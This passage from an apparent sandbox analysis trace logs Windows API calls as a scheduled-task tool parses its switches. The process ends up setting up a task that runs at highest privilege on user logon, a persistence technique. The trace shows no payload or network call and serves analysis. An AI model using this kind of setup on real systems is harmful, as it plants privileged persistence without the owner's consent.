out: _Buffer="|create|") returned 8 [0136.003] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.003] lstrlenW (lpString="|create|") returned 8 [0136.003] lstrlenW (lpString="|f|") returned 3 [0136.003] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0136.003] SetLastError (dwErrCode=0x490) [0136.003] lstrlenW (lpString="?") returned 1 [0136.003] lstrlenW (lpString="?") returned 1 [0136.004] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.004] lstrlenW (lpString="f") returned 1 [0136.004] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.004] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|?|") returned 3 [0136.004] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.004] lstrlenW (lpString="|?|") returned 3 [0136.004] lstrlenW (lpString="|f|") returned 3 [0136.004] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0136.004] SetLastError (dwErrCode=0x490) [0136.004] lstrlenW (lpString="s") returned 1 [0136.004] lstrlenW (lpString="s") returned 1 [0136.004] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.004] lstrlenW (lpString="f") returned 1 [0136.004] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.004] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|s|") returned 3 [0136.004] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.004] lstrlenW (lpString="|s|") returned 3 [0136.004] lstrlenW (lpString="|f|") returned 3 [0136.004] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0136.004] SetLastError (dwErrCode=0x490) [0136.004] lstrlenW (lpString="u") returned 1 [0136.004] lstrlenW (lpString="u") returned 1 [0136.004] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.004] lstrlenW (lpString="f") returned 1 [0136.004] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.004] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|u|") returned 3 [0136.004] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.004] lstrlenW (lpString="|u|") returned 3 [0136.005] lstrlenW (lpString="|f|") returned 3 [0136.005] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0136.005] SetLastError (dwErrCode=0x490) [0136.005] lstrlenW (lpString="p") returned 1 [0136.005] lstrlenW (lpString="p") returned 1 [0136.005] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.005] lstrlenW (lpString="f") returned 1 [0136.005] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.005] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|p|") returned 3 [0136.005] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.005] lstrlenW (lpString="|p|") returned 3 [0136.005] lstrlenW (lpString="|f|") returned 3 [0136.005] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0136.005] SetLastError (dwErrCode=0x490) [0136.005] lstrlenW (lpString="ru") returned 2 [0136.005] lstrlenW (lpString="ru") returned 2 [0136.005] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.005] lstrlenW (lpString="f") returned 1 [0136.005] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.005] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ru|") returned 4 [0136.005] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.005] lstrlenW (lpString="|ru|") returned 4 [0136.005] lstrlenW (lpString="|f|") returned 3 [0136.005] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0136.005] SetLastError (dwErrCode=0x490) [0136.005] lstrlenW (lpString="rp") returned 2 [0136.005] lstrlenW (lpString="rp") returned 2 [0136.005] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.005] lstrlenW (lpString="f") returned 1 [0136.006] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.006] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rp|") returned 4 [0136.006] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.006] lstrlenW (lpString="|rp|") returned 4 [0136.006] lstrlenW (lpString="|f|") returned 3 [0136.006] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0136.006] SetLastError (dwErrCode=0x490) [0136.006] lstrlenW (lpString="sc") returned 2 [0136.006] lstrlenW (lpString="sc") returned 2 [0136.006] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.006] lstrlenW (lpString="f") returned 1 [0136.006] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.006] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0136.006] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.006] lstrlenW (lpString="|sc|") returned 4 [0136.006] lstrlenW (lpString="|f|") returned 3 [0136.006] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0136.006] SetLastError (dwErrCode=0x490) [0136.006] lstrlenW (lpString="mo") returned 2 [0136.006] lstrlenW (lpString="mo") returned 2 [0136.006] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.006] lstrlenW (lpString="f") returned 1 [0136.006] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.006] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|mo|") returned 4 [0136.006] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.006] lstrlenW (lpString="|mo|") returned 4 [0136.006] lstrlenW (lpString="|f|") returned 3 [0136.006] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0136.006] SetLastError (dwErrCode=0x490) [0136.007] lstrlenW (lpString="d") returned 1 [0136.007] lstrlenW (lpString="d") returned 1 [0136.007] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.007] lstrlenW (lpString="f") returned 1 [0136.007] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.007] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|d|") returned 3 [0136.007] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.007] lstrlenW (lpString="|d|") returned 3 [0136.007] lstrlenW (lpString="|f|") returned 3 [0136.007] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0136.007] SetLastError (dwErrCode=0x490) [0136.007] lstrlenW (lpString="m") returned 1 [0136.007] lstrlenW (lpString="m") returned 1 [0136.007] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.007] lstrlenW (lpString="f") returned 1 [0136.007] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.007] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|m|") returned 3 [0136.007] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.007] lstrlenW (lpString="|m|") returned 3 [0136.007] lstrlenW (lpString="|f|") returned 3 [0136.007] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0136.007] SetLastError (dwErrCode=0x490) [0136.007] lstrlenW (lpString="i") returned 1 [0136.007] lstrlenW (lpString="i") returned 1 [0136.007] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.007] lstrlenW (lpString="f") returned 1 [0136.007] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.007] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|i|") returned 3 [0136.008] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.008] lstrlenW (lpString="|i|") returned 3 [0136.008] lstrlenW (lpString="|f|") returned 3 [0136.008] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0136.008] SetLastError (dwErrCode=0x490) [0136.008] lstrlenW (lpString="tn") returned 2 [0136.008] lstrlenW (lpString="tn") returned 2 [0136.008] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.008] lstrlenW (lpString="f") returned 1 [0136.008] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.008] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0136.008] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.008] lstrlenW (lpString="|tn|") returned 4 [0136.008] lstrlenW (lpString="|f|") returned 3 [0136.008] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0136.008] SetLastError (dwErrCode=0x490) [0136.008] lstrlenW (lpString="tr") returned 2 [0136.008] lstrlenW (lpString="tr") returned 2 [0136.008] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.008] lstrlenW (lpString="f") returned 1 [0136.008] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.008] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0136.008] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.008] lstrlenW (lpString="|tr|") returned 4 [0136.008] lstrlenW (lpString="|f|") returned 3 [0136.008] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0136.008] SetLastError (dwErrCode=0x490) [0136.009] lstrlenW (lpString="st") returned 2 [0136.009] lstrlenW (lpString="st") returned 2 [0136.009] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.009] lstrlenW (lpString="f") returned 1 [0136.009] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.009] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|st|") returned 4 [0136.009] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.009] lstrlenW (lpString="|st|") returned 4 [0136.009] lstrlenW (lpString="|f|") returned 3 [0136.009] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0136.009] SetLastError (dwErrCode=0x490) [0136.009] lstrlenW (lpString="sd") returned 2 [0136.009] lstrlenW (lpString="sd") returned 2 [0136.009] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.009] lstrlenW (lpString="f") returned 1 [0136.009] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.009] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sd|") returned 4 [0136.009] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.009] lstrlenW (lpString="|sd|") returned 4 [0136.009] lstrlenW (lpString="|f|") returned 3 [0136.009] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0136.009] SetLastError (dwErrCode=0x490) [0136.009] lstrlenW (lpString="ed") returned 2 [0136.032] lstrlenW (lpString="ed") returned 2 [0136.032] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.032] lstrlenW (lpString="f") returned 1 [0136.032] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.032] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ed|") returned 4 [0136.032] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.032] lstrlenW (lpString="|ed|") returned 4 [0136.032] lstrlenW (lpString="|f|") returned 3 [0136.032] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0136.032] SetLastError (dwErrCode=0x490) [0136.033] lstrlenW (lpString="it") returned 2 [0136.033] lstrlenW (lpString="it") returned 2 [0136.033] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.033] lstrlenW (lpString="f") returned 1 [0136.033] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.033] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|it|") returned 4 [0136.033] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.033] lstrlenW (lpString="|it|") returned 4 [0136.033] lstrlenW (lpString="|f|") returned 3 [0136.033] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0136.033] SetLastError (dwErrCode=0x490) [0136.033] lstrlenW (lpString="et") returned 2 [0136.033] lstrlenW (lpString="et") returned 2 [0136.033] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.033] lstrlenW (lpString="f") returned 1 [0136.033] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.033] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|et|") returned 4 [0136.033] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.033] lstrlenW (lpString="|et|") returned 4 [0136.033] lstrlenW (lpString="|f|") returned 3 [0136.033] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0136.033] SetLastError (dwErrCode=0x490) [0136.033] lstrlenW (lpString="k") returned 1 [0136.033] lstrlenW (lpString="k") returned 1 [0136.033] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.033] lstrlenW (lpString="f") returned 1 [0136.033] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.033] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|k|") returned 3 [0136.033] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.033] lstrlenW (lpString="|k|") returned 3 [0136.033] lstrlenW (lpString="|f|") returned 3 [0136.034] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0136.034] SetLastError (dwErrCode=0x490) [0136.034] lstrlenW (lpString="du") returned 2 [0136.034] lstrlenW (lpString="du") returned 2 [0136.034] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.034] lstrlenW (lpString="f") returned 1 [0136.034] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.034] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|du|") returned 4 [0136.034] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.034] lstrlenW (lpString="|du|") returned 4 [0136.034] lstrlenW (lpString="|f|") returned 3 [0136.034] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0136.034] SetLastError (dwErrCode=0x490) [0136.034] lstrlenW (lpString="ri") returned 2 [0136.034] lstrlenW (lpString="ri") returned 2 [0136.034] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.034] lstrlenW (lpString="f") returned 1 [0136.034] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.034] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ri|") returned 4 [0136.034] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.034] lstrlenW (lpString="|ri|") returned 4 [0136.034] lstrlenW (lpString="|f|") returned 3 [0136.034] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0136.034] SetLastError (dwErrCode=0x490) [0136.034] lstrlenW (lpString="z") returned 1 [0136.034] lstrlenW (lpString="z") returned 1 [0136.034] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.034] lstrlenW (lpString="f") returned 1 [0136.034] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.034] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|z|") returned 3 [0136.035] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.035] lstrlenW (lpString="|z|") returned 3 [0136.035] lstrlenW (lpString="|f|") returned 3 [0136.035] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0136.035] SetLastError (dwErrCode=0x490) [0136.035] lstrlenW (lpString="f") returned 1 [0136.035] lstrlenW (lpString="f") returned 1 [0136.035] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.035] lstrlenW (lpString="f") returned 1 [0136.035] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.035] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.035] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.035] lstrlenW (lpString="|f|") returned 3 [0136.035] lstrlenW (lpString="|f|") returned 3 [0136.035] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0136.035] SetLastError (dwErrCode=0x0) [0136.035] SetLastError (dwErrCode=0x0) [0136.035] GetProcessHeap () returned 0x2d0000 [0136.035] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccc0 [0136.035] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.035] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0136.035] lstrlenW (lpString="LIMITED") returned 7 [0136.035] GetProcessHeap () returned 0x2d0000 [0136.035] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed550 [0136.035] GetThreadLocale () returned 0x409 [0136.036] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0136.036] GetProcessHeap () returned 0x2d0000 [0136.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc90 [0136.036] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.036] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0136.036] lstrlenW (lpString="HIGHEST") returned 7 [0136.036] GetProcessHeap () returned 0x2d0000 [0136.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed570 [0136.036] GetThreadLocale () returned 0x409 [0136.036] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0136.036] GetProcessHeap () returned 0x2d0000 [0136.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc60 [0136.036] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.036] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0136.036] lstrlenW (lpString="MINUTE") returned 6 [0136.036] GetProcessHeap () returned 0x2d0000 [0136.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed590 [0136.036] GetThreadLocale () returned 0x409 [0136.036] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0136.036] GetProcessHeap () returned 0x2d0000 [0136.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc30 [0136.036] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.036] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0136.037] lstrlenW (lpString="HOURLY") returned 6 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed5b0 [0136.037] GetThreadLocale () returned 0x409 [0136.037] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecc00 [0136.037] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.037] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0136.037] lstrlenW (lpString="DAILY") returned 5 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ed5d0 [0136.037] GetThreadLocale () returned 0x409 [0136.037] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecbd0 [0136.037] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.037] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0136.037] lstrlenW (lpString="WEEKLY") returned 6 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed5f0 [0136.037] GetThreadLocale () returned 0x409 [0136.037] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecba0 [0136.037] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.037] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0136.037] lstrlenW (lpString="MONTHLY") returned 7 [0136.037] GetProcessHeap () returned 0x2d0000 [0136.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed610 [0136.038] GetThreadLocale () returned 0x409 [0136.038] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0136.038] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.038] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0136.038] lstrlenW (lpString="ONCE") returned 4 [0136.038] GetProcessHeap () returned 0x2d0000 [0136.038] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ed630 [0136.038] GetThreadLocale () returned 0x409 [0136.038] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0136.038] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.038] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0136.038] lstrlenW (lpString="ONSTART") returned 7 [0136.038] GetThreadLocale () returned 0x409 [0136.038] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0136.038] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.038] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0136.038] lstrlenW (lpString="ONLOGON") returned 7 [0136.038] GetThreadLocale () returned 0x409 [0136.038] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0136.038] SetLastError (dwErrCode=0x0) [0136.038] GetProcessHeap () returned 0x2d0000 [0136.038] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x1fc) returned 0x2ec220 [0136.038] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.038] LoadStringW (in: hInstance=0x0, uID=0x1d7, 